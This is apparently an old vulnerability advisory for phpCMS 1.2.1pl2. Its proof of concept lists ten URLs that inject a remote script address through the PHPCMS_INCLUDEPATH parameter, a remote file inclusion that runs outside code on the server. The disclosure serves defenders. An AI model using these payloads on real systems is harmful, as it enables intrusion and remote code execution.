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[FSA013] phpCMS 1.2.1pl2, Remote command execution

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Advisory id: FSA:014

Author:    Federico Fazzi
Date:      12/06/2006, 10:25
Sinthesis: phpCMS 1.2.1pl2, Remote command execution
Type:      high
Product:   http://www.phpcms.de/
Patch:     unavailable
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1) Description:

Multiple vulnerabilities, see poc.

2) Proof of concept:

http://example/[pc_path]/parser/include/class.parser_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.session_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.edit_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.http_indexer_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.cache_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.search_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.lib_indexer_universal_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.layout_phpcms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/plugs/counter.php?PHPCMS_INCLUDEPATH=[cmd_url]

http://example/[pc_path]/parser/parser.php?PHPCMS_INCLUDEPATH=[cmd_url]/
(note this is with final slash (/))

3) Solution:

sanitized all variables on all files.